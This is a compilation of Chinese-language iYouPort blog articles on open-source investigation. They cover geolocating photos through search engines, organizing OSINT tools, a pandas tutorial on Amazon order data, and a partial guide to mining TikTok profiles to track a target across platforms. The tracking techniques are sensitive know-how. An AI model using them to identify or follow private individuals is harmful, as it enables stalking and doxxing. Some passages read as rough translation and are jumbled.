人们使用社交媒体服务发布各种类型的内容，如照片、视频、短消息和地理位置。他们也会提及自己的教育经历、就业历史和居住地址、社会关系、去过的地方、习惯、喜欢和不喜欢的东西、家庭成员、配偶等个人信息，都可以很容易地找到。简单说，依旧有太多人说得太多了。

虽然社交网站允许其用户加强隐私控制，以防止他人看到发布的内容，但很少有人会在意这些问题，并将自己的许多活动以公开状态发布。这就使得大量可获取的公民生活数据随时可以被不同类型的网络调查所利用，包括政府间谍，这就是 “社会情报”（**SOCINT**）的本质。

再次重申，IYP关注社交媒体情报和其主体开源情报的主要目的是帮助您采取对抗性思考方式以进行最有效的防御，已经有很多证据显示全球各国政府和其间谍机构包括中国，一直都在致力于开源情报能力

以追踪打击任何他们不喜欢的人，大多数恶意行为者也均以此为基础实施攻击。

只有当您能了解到对手是怎么做的时候，才有可能提前防备以弥补自己的漏洞。〇

原文

你一直在进行开源情报调查，只是你不知道 - iYouPort

开源情报-每个人都可用的武器

挖掘真相的思考方式几乎和人类历史一样悠久，毕竟，自特权的身份诞生以来权力垄断者就开始撒谎了……

「图」

「图」

开源情报深度调查并非新鲜事物 —— 它具有悠久的历史（在这里看到历史介绍《“谷歌地图”是比詹姆斯邦德更棒的间谍》）并且，它就是人们日常的好奇心和挖掘欲望的专业性方向延伸。

所以，您不必担心“学”不会，只需要将注意力集中在您性感的好奇心上，就能取得惊人的成功。

延伸《好奇心作为驱动力》

许多人在不知不觉中都使用过一些最常见的 OSINT 工具和技术。然而实际上，大多数人可能甚至不知道 OSINT 是什么以及这个缩写代表什么。

其实仅举一例即可：每个拥有互联网连接的人每天都会使用的东西；你猜对了，是搜索引擎。

正如我们曾经介绍过的《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》—— 这是一份搜索工具大全，几乎能满足您的任何需求。

事实上某些看起来似乎是常规的搜索，只要它用在了高明的情报分析逻辑链条上，其效果会比其他花哨的挖掘工具具有更大的实力。

本文会举例2个例子；首先从 Julia Bayer 在2019年3月11日操作的挑

战游戏开始。

如下图，他提出的问题很简单：这张照片是在哪里拍到的？—— 要求具体的地理位置。

「图」

「图」

如您所知，社交媒体发布的图片没有元数据，所以无法通过抓取照片元数据来判断地理位置和其他相关参数。

于是这就需要一些思考方式方面的技巧。

延伸：关于侦探挑战游戏，参见

- 《侦探挑战小游戏：Quiztime》
- 《好玩的间谍挑战》
- 等等

练习不需要等待突发事件，日常任何时候都可以做，比如，

- 《使用电影做侦探挑战演示：开源调查游戏》
- 《让阴影说话：开源调查小游戏》

地理位置调查和时间检验是开源调查作为信息验证工具的重点部分，因为撒谎者总是将另一个地方另一个时间发生的事声称为“此时此地”；并且，追踪者也尤其喜欢这种方法，你懂的。

⚠于是本文不仅希望提醒真相爱好者关于如何开发您手头的优势；同时希望提醒隐私保护者，正在任何时候发布照片时请注意思考下这些问题 —— 它在监视者的眼中是什么样？

很多情况下，追踪监视并不需要什么后门、间谍软件或者告密，搜索引擎就可以做到。

「图」

「图」

好了，本文提出的问题就是上述，下面演示一下如何以最常用的方法快速做出回答。

简单的问题，棘手的答案

Julia Bayer 警告，这个问题起初可能看起来很简单，但是，一旦你开始投入就会发现，它有点棘手。

问题是：

照片是在哪里拍摄的？

在这种特殊情况下，使用谷歌或 Yandex 进行反向图像搜索被证明是徒劳的。

当然，反向图像搜索会不断改进，有时只是在不同的时间呈现出了不同的结果。但是这次最初的实验确实被证明失败了。

Yandex 的尝试结果就是下面这样：

「图」

「图」

谷歌的尝试结果是这样：

「图」

「图」

分析图像和过滤信息

这种情况下，如我们此前介绍过的思考方式：首先，分析图片，看看是否有任何提示。

这张照片中有一个非常明显的提示，你找找看？

我添加了:orig到图片的后缀，以便可以看到原始分辨率的清晰图。这件事的具体做法见这里：《别让社交媒体的自然模糊阻挡真相》。

上述步骤完成后你就会惊讶地看清汽车的车牌 —— 你会发现这些汽车都有德国的车牌，而且都是以B或BAR开头的。

如果你不是德国人或没有在德国居住过，如何知道这是德国车牌？很简单：搜索。维基百科会告诉你，这意味着柏林。

好的，那么现在聚焦柏林。柏林很大，这张照片究竟在哪里拍摄的？

「图」

「图」

而且您能观察到这间公寓不太典型，于是您可以将自己看到的特征描述在搜索引擎中。

顺便说，上述方法能返回原始分辨率的图像；但是如果原始分辨率很低的话怎么办？这里有一个网站可以帮您提高图像质量（某些情况下好用）：https://letsenhance.io/successful

柏林木质公寓

这张照片很容易显示这栋公寓的材质：木。

于是，在谷歌图片搜索“柏林木制公寓”，滚动不久就可以发现下面这样：

「图」

「图」

这显然是同一个公寓楼，只是拍摄角度不同。此外，Alamy 指出，这是柏林的自治市镇。

「图」

「图」

现在已经有了两个有用的提示，不仅确认了这是柏林，也大致了解了柏林的情况。

现在可以尝试其他 Google 搜索。请将搜索查询翻译为德语，这样可以找到更多内容。

翻译后是这样的“berlin weddig holzwohnung”，其中 holzwohnung 就是木制公寓的意思。

然后你就可以得到确切的街道地址了，如下所示（大图）：

「图」

「图」

现在您可能需要执行更多或更少的步骤，这些都取决于具体的调查情况而有所不同，即使您搜索一天或一个月前发现的内容，结果也会有所不同。

很简单是吧。那么再看一个例子。

案例 #2: “Cumhuriyeti ve …”

在上一篇文章中提到使用电影进行地理定位练习的方法，详见这里。本文将使用同一部电影中的场景，Kader。

下面是一个场景视频：

也许它不是很清楚，但仔细看你会发现，的确有些字写在高架桥上。

「图」

「图」

上面的大字写着 “Cumhuriyeti ve …”。翻译一下显示为“共和国”……再下面写的那句话看不清。

那么如何才能通过这个小细节搜索到场景拍摄的具体地理位置呢？

你当然可以尝试进行反向图像搜索，但很难得到任何有用的结果。

这里的做法和上述那个例子中相同，也就是描述视频中看到的内容，将其作为搜索关键字。

你看到了什么？看到一座高架桥、一条隧道，上面写着 “cumhuriyet ve” 字样，它位于伊斯坦布尔的一条街道上，这里有很多树木。

现在来描述一下，并告诉Google要寻找什么。

请注意，您需要相当多的耐心并尝试使用不同的关键字来查找相关位置。

非常建议使用运算符搜索，在这里看到用法《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》。

对于不熟悉此问题的人，可以做一个最简短的解释：如果您在引号之

间放置任何文字，例如，“我今天吃了一个金枪鱼三明治”，您可以找到完全匹配的内容。

正如你将看到的那样，这只会返回完全匹配的结果，它会排除像“今天我吃了金枪鱼三明治”这样的短语，因为它不完全一样。

但是当您搜索时发现返回的结果太多（太泛泛）时，这种方法就比较好用了。

「图」

「图」

如您所见，上面的查询会产生太多结果。因此，尝试使用引号：

「图」

「图」

你看，这样结果就好多了，只有198个。

这里的问题在于句子太短而且不完整，所以你仍会得到一些无用的结果。

因此，我们来尝试一种不同的方法。例如，搜索伊斯坦布尔高架桥历史。

「图」

「图」

就是上面这样。依旧太多。

那么添加 -aqueduct，减号运算符将过滤掉包含单词 aqueduct 的所有结果。

「图」

「图」

现在有一个看起来很像是这座桥的结构；其他一些返回了正确位置查询：

- istanbul arch bridge
- istanbul arch -university -mosque -aqueduct
- istanbul historical bridge -galata -bosphorus

还有很多。这里只包括了英语的，但你也可以尝试不同的语言。

现在，您可以使用 Yandex 进行反向图像搜索了，以便更好地了解这座桥。

你能看到，桥上的那行字是：

“Cumhuriyeti ve demokrasiyi seviyoruz.”（我们热爱民主和共和）

你还能查到，这行字在2011年已经被擦除了。

「图」

「图」

最后

工具和反向图像搜索很有趣，但不得不说，Google搜索运算符非常重要。

如果您还没有掌握它，现在就可以做到，在这里《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》。

您也许不需要掌握 Google dorking 的深度，但对于最基本的搜索运算符，了解它们是非常有好处的。

尤其是在尝试地理定位时，反向图像搜索和运算符的组合相互补充。

对于刚接触这项工作的人来说，您可以在这里看到完整列表。〇

原文

你的全能钥匙扣：作为一名公民调查者的基本脑图 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

把您的工具组织起来，可以更方便开展工作

「图」

「图」

我们的 “开源情报” 栏目推荐过很多工具，也许您已经有点眼花缭乱了。

其实成功完成一项调查所需要的是一套组织良好的工具 —— 用科学的逻辑组织在一起，而不是一大堆看似很丰富但杂乱无章的东西。

调酒师的钥匙扣上只有几个小玩意，但是它们能随时打开所有不同封装的酒瓶，完成绝大多数工作。作为公民调查者，这就是您应该追求的：不需要很多，但必须很趁手；不需要特别高级，但必须实用。

这就需要您平日将最顺手的东西按照合理的逻辑组织在一起，也就是栓在您的钥匙扣上。

本文将介绍几个平台，帮您打造这个钥匙扣。

1、列表和电子表格

显然，电子表格通常是跟踪大量链接和工具的首选解决方案，因为很简单，所有人都会用。

您可以根据主题（用户名、电话号码等）及其用途，在电子表格或Word中创建一系列工具。

电子表格的缺点是维护有点累，一旦列表变大就会麻烦；而且你需要不断删除已经作废的工具和链接（因为技术在不断变化）。

但如果您已经有了一系列理想的基本配套选项，电子表格会比较适合您。

「图」

「图」

2、个性化思维导图

您还可以使用个性化思维导图，就像 OSINT Framework 那样的方式存储工具。

如果您还不熟悉开源情报框架，可以在这里找到它，它本身就是一个很了不起的资源。

使用思维导图的优势在于，非常直观，连工具带思路一眼就能看出来。

Xmind 是创建思维导图的绝佳工具，它提供免费和付费版本。

免费版本功能会受限，而且在导出的文件上带有水印，但如果您是个人调查使用，它就是很好的（写报告的话最好使用付费版）。

这种方法的另一个好处是思维导图是可共享的，适合团队协作。

「图」

「图」

3、Pocket

另一个流行解决方案是 Pocket。Pocket 有桌面版和移动版、免费和付费两种。

该站点允许您将文章/链接保存到个性化列表中，以供日后阅读。

缺点是免费版本限制了您可以保存到列表中的文章数量。

这个网站似乎类似于 Pinterest，但 Pinterest 是免费的。您可以根据需求选择。

「图」

「图」

4、Start.me

就是IYP使用作为分类列表的平台。在下面看到我们的分类列表：

- ○ 防身的**：

https://start.me/p/xbYXdR/iyp-1

- ○ 认知的**：

https://start.me/p/RMQrDD/iyp-2

- ○ 斗智的**：

https://start.me/p/nRBzO9/iyp-3

- ○ 眼界的**：

https://start.me/p/aL8RrM/iyp-4

- ○ 你懂的**：

https://start.me/p/1kod2L/iyp-direct-action-5

Start.me 是一个个性化的起始页，可以通过 Chrome 中的扩展程序运行；这是一个很好的解决方案，可以在桌面上直接准备好所有链接。

「图」

「图」

5、书签

另一种方法是在网络浏览器中简单地将它们添加书签。

在 Buscador 或 Kali 中，打开浏览器并在书签中为每个调查方案创建一个文件夹。

如果您安装了 Buscador，那肯定知道，已经有大量有用的工具在手边，而不必搜索长列表了。

「图」

「图」

最后

合理地组织工具能帮助您更快速地开展调查工作。至于选择哪种方法绝对是仅凭个人爱好的。本文只是希望介绍一些选项，以帮助您选择。

请记住，无论您选择哪种方法，诀窍都是要在不断变化的开源情报环境中跟上进度，及时移除无效链接和失效的工具，并添加替代品。〇

原文

你的网购已经花了多少钱？ - iYouPort

开源情报-每个人都可用的武器

这里是一个演示，用最简单的方法进行快速的数据分析，并输出自定义的图表。这种分析方法在很多调查报告中都很有用，网购仅仅是一个案例

「图」

「图」

“我在亚马逊上花了多少钱？”—— 这个问题很可能会使电子商务巨头的长期客户感兴趣，甚至可能使他们感到恐惧。但了解这件事对您来说很重要，不只是钱的问题。

而是数据分析的方法。

本文将介绍这件事可以怎么做。

这里将使用 Python 来分析 Amazon 数据。但是，如果您没有编码经验也请不要担心！本文将尽可能说得简单，而且只需要不到**30**行代码就能完成一大堆很酷的事，例如：

- 计算出您曾经在 Amazon 上花费的总金额；
- 找到您最贵的和最便宜的订单，以及平均数和中位数订单；
- 找出您已缴纳的税款以及您在亚马逊上的有效税率；
- 通过条形图可视化您的每日消费习惯；
- 自定义条形图的某些元素，例如大小和颜色，以呈现更清晰的解释。

那么现在就开始。您会看到 Python 很好玩的地方。

准备进行分析

1、下载并安装工具

为了进行分析，我们将做一些 Python 编程。但是请不要紧张，即使您一生中从未编写过任何代码，在这里也可以做到！下面将逐步介绍该过程。

第一步是在计算机上安装一个名为 Anaconda 的工具。这将使您能够开始使用被称为 Jupyter Notebook 的东西进行编程。

Jupyter Notebooks 是执行此类数据分析项目的出色工具，一旦掌握了这些要点，您可能会发现自己经常需要使用它。

相关教程有很多，但是今天要做的事非常简单，所以只需要继续阅读即可。

首先，需要访问 Anaconda 网站上的此页面，略微向下滚动，然后选择您的操作系统 —— Windows、Mac 或 Linux。

选择了正确的操作系统后，点击 **Python 3.7** 版本下绿色的“下载”按钮来下载 Anaconda。

「图」

「图」

下载完成后就可以像安装其他任何应用程序一样来进行安装它了：只需双击下载的文件，然后弹出安装向导以指导完成安装过程。

基于本文的目的，默认安装设置会很好。不过，您需要记下要安装它的文件夹。

尽管可以从任何位置保存和访问文件，但今天要将数据集和 Jupyter Notebook 的文件保存到同一文件夹中，以便于访问。

安装 Anaconda 后就可以继续执行下一步了。

2、下载亚马逊订单历史记录数据

亚马逊可以让您下载已完成订单的大量报告，尽管可用数据只能追溯到2006年。不过，如果您是普通的 Amazon 用户，那么十多年的数据肯定会包含一大堆有趣的东西。

要获取数据，请在登录时单击此链接，直接进入订单报告下载页面。

但是，如果这不起作用，也可以直接导航至该页面：转到 Amazon.com，然后单击右上角的 **Accounts and Lists** 按钮。在下一页上，找到 “订购和购物首选项” 部分，然后单击题为 “Download order reports” 的链接。

如果您想通读本教程，但又不想使用自己的数据，则可以下载这里的匿名数据集。

亚马逊提供四种不同的报告类型。目前，我们将要下载“订单和出货量”报告，因此请从下拉菜单中选择该选项。

然后，可以为要查看的数据选择开始日期和结束日期。要查看所有 Amazon 存储的数据，需要将开始日期设置为2006年1月1日。然后点击“结束日期”旁边的 “Use today” 按钮，以自动填写今天的日期。

（如果您希望查看的订单记录不是全部，则页面右侧还会显示“快速设置选项”，可用于快速输入想要查看的时间段，例如近一年或最近一个月）

还可以选择在报告中添加名称 —— 这不是必需的，可以将其保留为空白，但是如果您打算下载许多不同的报告并希望轻松区分它们，那就这样做。

一切准备就绪后，单击 “Request Report”，Amazon 将开始为您构建报告。

您要求的数据越多、订单越多，花费的时间可能就会更长。但是在一两分钟之内就应该会弹出一个.csv文件的下载消息。请单击“保存”进行下载。

3、重命名和移动 Amazon Order 数据

准备开始进行一些编程，然后进行分析。但是首先，请通过重命名和移动刚下载的文件使下面的工作变得简单一些。

默认情况下，它可能称为 `01_Jan_2006_to_10_Sept_2019.csv` 但你可以更简单地重命名它为 `amazon-orders.csv`.

接下来将 amazon-orders.csv 文件移动到安装 Anaconda 的文件夹中，以便可以从 Jupyter Notebooks 轻松访问它。

如果您在安装过程中未更改默认文件夹，则在 Windows 上为 `C:/`

`Users/YourUsername/`

4、打开一个 Jupyter Notebook

现在终于到了有趣的部分了！打开 Anaconda Navigator 应用程序。您可以通过在计算机上搜索 “Anaconda Navigator” 来找到它。

在 Windows 上，您也可以在“开始”菜单中找到它；在 Mac 上，它应该在“应用程序”文件夹中。打开后，您会看到一个类似以下的屏幕：

「图」

「图」

单击 Jupyter Notebook 下的“启动”按钮。这将在浏览器中打开一个新屏幕。

在该屏幕的右上角，单击“新建”，然后在下拉菜单的“笔记本”下，单击 “ Python 3”。

「图」

「图」

「图」

「图」

已经准备就绪了！下面就进入分析。

我在亚马逊上花了多少钱？

Jupyter Notebooks 使您可以在单元格中编写和运行少量代码片段。在屏幕上，菜单和按钮下方，您会看到一个小方块， `In [ ]:`光标的闪烁，这是第一个单元格，是开始编写代码的地方。

在此分析中将使用 Python，这是一种非常通用的编程语言，在数据分析中很流行。

还将使用称为 pandas 和 matplotlib 的 Python 软件包。您可以将软件包视为类似于浏览器插件，它们是有助于扩展常规 Python 功能的工具。

Anaconda 已经安装了 Pandas 和 matplotlib，因此不需要自己下载安装。

5、将数据导入 Pandas

第一步是编写代码以打开并查看 Amazon 数据，以便可以看到正在使用的内容。

这里将使用 pandas 进行大部分分析，因此第一步是导入 pandas 程序包，并给它起一个昵称 pd，以便在代码中更轻松地引用它。

接下来，创建一个名为 df 的新变量，它是 DataFrame 的缩写，然后告诉 pandas“将 Amazon 数据存储在该变量中。

这里真正要做的是以表格格式存储数据。为此需要告诉 pandas 去读 .csv 文件作为一个 Dataframe。

将为此使用 pd.read_csv（’file_name.csv’）。下面细分一下：

- pd 在告诉 Python 使用 pandas 进行此操作；
- pandas 读取 csv 文件并将其存储为 DataFrame；
- 括号内的 ‘file_name.csv’ 部分告诉 pandas 在安装 Anaconda 的同一文件夹中读取具有该文件名的 csv 文件。

如果要从其他文件夹中获取 CSV 文件，则必须输入完整的文件路径，比如这样 `C:/Users/Username/file_name.csv`. 这就是将 amazon-orders.csv 文件存储在与安装 Anaconda 相同的文件夹中的便利。

最后将使用名为 **.head（）**的函数查看数据的前五行，这是为了解正在使用的数据以及亚马逊的订单历史记录包括哪些数据。

为此，使用语法 DataFrame.head（），由于 DataFrame 存储在变量 df 中，因此将使用 **df.head（）**。

本教程将大量使用 .head（）—— 这是一种非常快捷的方法，可以仔细检查代码是否进行了我们认为已进行的更改，至少在进行更改时更为直观。

将此代码输入到第一个 Jupyter Notebook 单元中，然后单击“运行”按钮，或使用键盘上的 Shift ＋ Enter（在Mac上为 Cmd ＋ Enter）。

```
import pandas as pd df = pd.read_csv('amazon-orders.csv') df.head()
```

「图」

「图」

「图」

「图」

「图」

「图」

很酷，仅用三行代码就导入了所有数据，现在可以以方便的表格格式查看。

如果您想读取完整数据集，可以使用 **df.shape**。这样：

```
df.shape
```

```
(59, 23)
```

现在您知道了 DataFrame 有59行和23列（本教程使用的数据集非常小；您的 DataFrame 可能会更大！）

在本教程中使用的数据集是一些 Amazon 购买历史记录的编辑版本。为了保护隐私，更改了姓名、地址、卡号、和购买价格，但是此数据的格式与您要从亚马逊下载的真实数据的格式完全相同，并且在此匿名数据上使用的代码将也可以处理您的真实数据 —— 无论您有多少数据。

默认情况下，Amazon 数据随附的列名具有很强的描述性，而且很显然，该数据集中有很多有趣的东西要看。

这里的首要目标是找出总共花费了多少钱，并计算出每笔订单的平均价格。这意味着 “`Total Charged`” 列中的数据绝对是重要的。

综上所述，您 可能还会注意到某些列的值为NaN。这是一个空值；NaN是 pandas 表示缺乏数据的方式。在进行分析时必须意识到数据集中的这些缺失值。

6、清理数据

清理数据是大多数数据分析项目的重要组成部分，需要在此处进行一些数据清理，然后才能进行分析，并找出在 Amazon 上花费的总金额。

从处理这些 NaN 值开始。需要对数据进行一些数学运算，但是 1 + NaN 是一个很难解决的数学问题。毕竟，NaN 不是数字；由于 NaN 代表缺少信息，因此我们仅使用方便的 df.fillna（）函数填写所有这些 NaN 值。

这就能够自动将每个 NaN 值替换为其他值。在这种情况下，将 NaN 替换为数字零。

不过在这里需要小心一点。不只是要暂时替换这些值，还要将该版本的 DataFrame 存储为新的 DataFrame。这里将使用 **df = df.fillna（0）**替换值，然后重新定义 df 变量以指向该新 dataframe。

然后将再次使用 .head（）函数来确保所做的更改有效。

```
df = df.fillna(0) df.head()
```

「图」

「图」

「图」

「图」

「图」

「图」

非常好！正如您所看到的，空值都已被零替换，这将使计算变得更容易。

不过这里还有一些数据清理问题。此数据集中的价格已存储为字符串，这意味着计算机将其视为一系列字符，而不是可以加在一起的数字 —— 它们包括$，这不是数字。

在使用这些值执行计算之前，需要删除那些美元符号，然后将字符串值转换为浮点数（Python 可以轻松对其进行计算的数字数据类型）。幸运的是，这些操作仅需要几行代码就可以做到。

具体来说可以使用两种 pandas 函数。

首先，`Series.str.replace()` 这允许您在数据框的任何列中用另一个字符替换一个字符或一组字符；

就本文的目的而言，这很有用，因为我们可以使用以下语法 `df["Total Charged"].str.replace('$','')`。

也就是告诉 pandas 在该列中将 $ 去掉。这样就能剩下的全都是数字了。然后就可以使用函数 .astype（float）将列中的每个条目转换为浮点类型，以便进行数学运算。

再一次，要修改 DataFrame，然后将 df 变量指向该 DataFrame 的新版本。但是，由于这一次只修改数据的一列，因此将使用 **df [“ Total Charged”]** 来指定仅在该列中进行这些更改。

现在可以将它们放在一起了，然后再次使用 head（ ）。

```
df["Total Charged"] = df["Total
Charged"].str.replace('$','').astype(float)
df.head()
```

「图」

「图」

「图」

「图」

「图」

「图」

滚动到该表的右侧，您可以看到已经完成了：美元符号都消失了。下面就进行正式的计算。

7、计算在亚马逊上花费的总金额

pandas 有一些基本函数对本文的目的有用。这里从 **.sum（）**开始，它将为您提供此列中每个数字的总数，换句话说，就是在 Amazon 上花费的总数。

```
df["Total Charged"].sum()
```

```
1777.7300000000002
```

$1,777.73！有些人的总数也许会更大，你会感到惊讶的。

8、计算其他：平均支出、最大购买量等

pandas 允许您非常快速地进行其他一些计算。例如，平均购买价是多少？可以使用 **.mean（）**找出：

```
df["Total Charged"].mean()
```

```
30.131016949152542
```

由于查看平均数/平均值有时可能会掩盖异常值，因此也可以查看中位数。使用 **.median（）**来做到这一点。

```
df["Total Charged"].median()
```

```
15.95
```

那很有意思！中位数支出比平均支出低很多。看起来曾经下了一些昂贵的订单。现在来看看使用 **max（）**找到的最高额订单是什么：

```
df["Total Charged"].max()
```

```
210.99
```

好吧，最贵的订单是211美元。那最便宜的订单呢？可以使用**.min（）**找到：

```
df["Total Charged"].min()
```

```
1.04
```

只花了1美元买了什么？不记得了！

9、我缴纳了多少税？

该数据存储在“应收税款”列中。该列尚未清理，因此与开始时的“Total Charged” 列存在相同的问题。

但是，这就是编程的美妙之处：先前已经编写了可以解决该问题的代码，现在要做的就是从上面复制并粘贴列清理的代码，然后将“ Total Charged”替换为“ Tax Charged”，以告知 Python 在“ Tax Charged”列上执行相同的操作。

```
df["Tax Charged"] = df["Tax
Charged"].str.replace('$','').astype(float)
df.head()
```

现在可以用于您想要进行的任何类型的分析了。例如，根据此数据集，已支付的税款总额是多少？将再次使用**.sum**（ ）来找出：

```
df["Tax Charged"].sum()
```

```
52.60999999999999
```

显然，在亚马逊上花费的全部钱中约有52.61美元用于税收。不同项目的税率不同，可以在 DataFrame 中看到某些项目根本不收取任何税款。

但是，如果您愿意，可以简单地将 “Total Charged” 与 “Tax Charged” 相除，从而得出总体税率，如下所示：

```
df["Tax Charged"].sum() / df["Total
Charged"].sum()
```

```
0.02959392033660904
```

答案是 约 2.9%。

如果您现在还想挑战一点，那么可以使用此数据集做更多的事。比如通过做一些具体分析来了解自己的消费习惯如何随着时间而改变。

10、分析消费习惯

在 Python 中使用日期之前需要先将它们转换为 datetime 数据类型，以便计算机可以将它们识别为日期。

对于 pandas 来说这非常简单。只需要使用 **.pd.to_datetime**（ ）并在

括号内指定要修改的列，以告诉 pandas 将其作为日期读取。

和以前一样，要确保将更改存储在 df 中，因此将指定要修改 df [‘Order Date’] 列，然后将其分配给 “Order Date” 列。

确实只需要查看一行即可确保日期在此处已更改，因此将自定义参数提供给 df.head（ ）。括号中如果是1，那就是显示一行。

```
df['Order Date'] = pd.to_datetime(df['Order
Date']) df.head()
```

您可以看到日期格式已从 2019/04/01 更改为 2019–04–01。完工。现在就可以继续进行下一步分析了。

可能有趣的一件事是，该数据集中每一天的花费是多少。这是一种最容易从视觉上进行观察的分析，以条形图的形式最方便看。

pandas 和 matplotlib 软件包使您能够在 Jupyter Notebook 内部构建和查看各种图表类型。

（注意：当您运行此代码单元时，不会发生明显变化，但是它将使 matplotlib 能够在笔记本中显示图表。）

```
%matplotlib inline
```

现在就可以使用 **df.plot.bar**（ ）以非常简单的方式制作基本的条形图。

```
df.plot.bar(x='Order Date', y='Total Charged',
rot=90)
```

「`matplotlib.axes._subplots.AxesSubplot at 0x1c30f9c4e10`」

「图」

「图」

那个图表有点小，很难看清是否真的得到了想要的东西。那么扩大它，以便可以更轻松地读取数据。

可以通过在绘图代码中添加一个称为 **figsize** 的参数来实现。这使您

可以通过宽度和高度来定义图的大小。

它使用的单位不是特别直观，但是（**20**，**10**）是大多数图表的理想默认值，然后可以根据需要进一步调整。

需要做的就是将 figsize =（20,10）添加到代码中已有的参数中。请注意，每个单独的参数都用逗号分隔。

```
df.plot.bar(x='Order Date', y='Total Charged',
rot=90, figsize=(20,10))
```

「`matplotlib.axes._subplots.AxesSubplot at 0x1c3129870b8`」

「图」

「图」

这就更容易阅读了！但是，仔细看一下上面的图表会发现一个问题：当同一天下了多个订单时，每个订单在条形图中都有一个单独的条。比如前三个条，都是4月1号。

那并不是本案例想要的。这里是希望看看每天花了多少钱。每个条应代表的是一天，而不是一个订单，因此，如果当天有多个订单，则应将这些订单的总费用相加。

可以使用另一个内置的 panda s函数做到这一点: `df.groupby()`.

语法有点复杂，但是可以将想要做的事情分为两部分：#希望按 “订单日期” 对数据进行分组，以便将共享同一日期的所有订单都计入一行；

- 要在每个日期的 “Total Charged” 列中获取已支付价格的总和，并在相关日期的行中将其作为 “Total Charged” 的值。

1. 在此期间，我在亚马逊上花了多少钱。

- 最高、最低和平均订单总额是多少。
- 缴纳了多少税，以及有效税率。
- 指出随时间波动的情况。
- 哪天花的钱最多。

1. 查看其他参数以添加到绘图代码中，进一步美化图形。

- 在其他栏添加每一天的 Tax Charged。
- 按月份或年份（而不是一天）细分您的支出。
- 寻找一种方法来获取每天（包括没有订单的日子）到您的数据集中，以便可以更轻松地直观显示一段时间内的支出。

您还通过哪些其他网站购物吗？淘宝？京东？查看它们是否允许您访问任何数据，您可以做出同样的分析。

基本的数据分析方法也是开源调查报告的刚需，比如分析网络水军的动态等等，希望本文的基本演示能帮助您理解这一分析方法。〇

原文

你能从TikTok（抖音）中挖掘到哪些情报线索？ - iYouPort

开源情报-每个人都可用的武器

本文不是调查演示，而是介绍您可以从哪里获取信息线索，以及这些线索将意味着什么

「图」

「图」

TikTok已经受到年轻一代的欢迎，正在有越来越多的用户涌入该平台。该应用程序允许用户记录和共享短视频以及评论其他用户的视频。

也存在该应用程序的浏览器版本，但是它的功能要精简简短，并且需要一点知识才能变通并充分利用它。

调查人员应该做到这点，因为浏览器版本更容易获得有关调查的操作，同时移动端是不安全的。

本指南将重点介绍如何通过计算机浏览器来利用**TikTok**，而不是利用移动应用程序，并且，所有这些调查过程都不需要您注册**TikTok**帐户。

secjuice提供了有关可以从TikTok获取某些信息的参考，并提供一些TikTok某些的工具和技术，以从目标帐户中获取最多的信息。

下面分步介绍。

个人资料 ——

「图」

「图」

用户的个人资料将包含在帐户中所有可公开查看的信息里，从而服务于调查的大部分收集和分析。

通过在以下URL的末尾添加用户名，可以在网络浏览器中查看用户的TikTok个人资料：https： *www.tiktok.com/@* 用户的个人资料页面可以包含多个*利用点*，包括：个人资料照片，昵称，唯一*ID*（@），已验证的标志，描述，以及帐户的总关注者，关注的人和点赞的次数。用户个人资料中还包括该帐户发布的视频。 从中你可以研磨目标的倾向性，抓取到可以进一步跨平台追踪的最多线索。 跨平台追踪演示，以及防御策略推荐： *《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》 *《如何跨社交媒体平台追踪目标人？⚠警告安全意识》 *防御《分身术完整指南：妥善管理您的在线身份并获得安全的方法》 *!!!*个人资料照片 —— 「图」「图」 本身，在大多数社交媒体网站上版权保护者都很擅长长隐藏自己的真实身份，但是*TikTok*则不同，许多***TikTok***用户似乎很喜欢曝光自己的身份，从而为追踪者带来了更多的便利。 在用户争相传播病毒式内容和/或获得大量关注的网站上尤其如此。 与往常一样，我们会建议的第一件事是通过反向图片搜索工具（例如*Google*，*Bing*，*Yandex*或*Tineye*）运行针对用户的个人资料照片的侦察。 关于反向图像搜索工具的分析： *《搜图功能哪家强？图像验证方法的能力对比》 通过快捷的图片并选择“检查元素”选项，可以获取照片的*url*。您将看到下面的这些代码，其中包含绑定内照片的完整尺寸网址： 背景图片： *URL*（*https://p16.muscdn.com/img/musically-maliva-obj/1638197514769414~c5_720x720.jpeg*） 插一句，当社交媒体照片没有完整尺寸时怎么办？ *《别让社交媒体的自然模糊阻挡真相》 通过使用*images.google.com*上的此链接，很快可以在多个其他社交媒体网站上找到目标帐户的所有者-也就是跨平台追踪，因为目标人在不同社交媒体平台使用了相同的照片。 「图」「图」 除了使用个人资料照片*URL*运行反向图像搜索外，还可以将其加入*URL*替换并查看完整尺寸的图像，如下所示。 这在尝试查看照片中的详细信息时会产生很大的不同，而这些详细信息如果仅通过帐户上显示的个人资料标记是无法识别的。 「图」「图」 *!!!*昵称 —— 「图」「图」 该目标用户的昵称是帐户个人资料上的姓氏，和字体比文本的其余部分大。请注意，在该平台上多个帐户可以具有相同的昵称，因此用户可能不唯一。 话虽这么说，但不同用户对待此分段的方式有所不同。一些人转移其利用用户名，而其他人可能会在此分段中显示其全名或部分名字。 在上面的示例中，该目标用户选择了另外的。这将在以后尝试完全识别用户时有所帮助。 *!!!*唯一身份***ID***（@）—— 「图」「图」 用户昵称的正下方将是其唯一*ID*，该*ID*始终以@符号开头。 与昵称不同，这是一个唯一的标识符，不能在多个帐户上使用。 调查者应将其

视为用户名，并且您应尝试使用相同的唯一*ID*在其他网站上查找帐户-因为人们总是喜欢这样做，在给自己起名字方面缺乏创意。 您可以使用许多用户名搜索工具之一，也可以通过带引号的（例如“*kingjomanji*”）在其他搜索引擎上运行用户名搜索。 关于搜索工具集成，见： *《如果你擅长搜索，你能找到一切》 您应该在这里使用多种工具，因为多个工具都有其自身的弱点。 例如，即使*Google*确实抓取了*Instagram*的某些第三方网站（如*pictame*），但似乎并没有始终抓取所有*Instagram*帐户。根据帐户的使用期限，可能会命中或错过。 在上面的示例中，通过谷歌运行了用户名查询，从而捕获了*Instagram*帐户，但当时在其他平台上没有更多决定性的内容。 「图」「图」 *!!!*个人身份验证标志 —— 「图」「图」 和大多数社交媒体平台一样，实名认证后会有一个验证标志✓，出现在其个人资料的唯一*ID*下面，后跟“已验证帐户”。 多数经过验证的帐户将属于名人或其他在社交媒体有影响力的人，这些人经常会拥有大量的追随者并成为舆论核心。 除了帮助确认该帐户可能是他们提出的身份以外，该标志在调查价值方面没有提供太多帮助。而且公民调查的对象往往不会是验证账户。 *!!!*关注的人 —— 「图」「图」 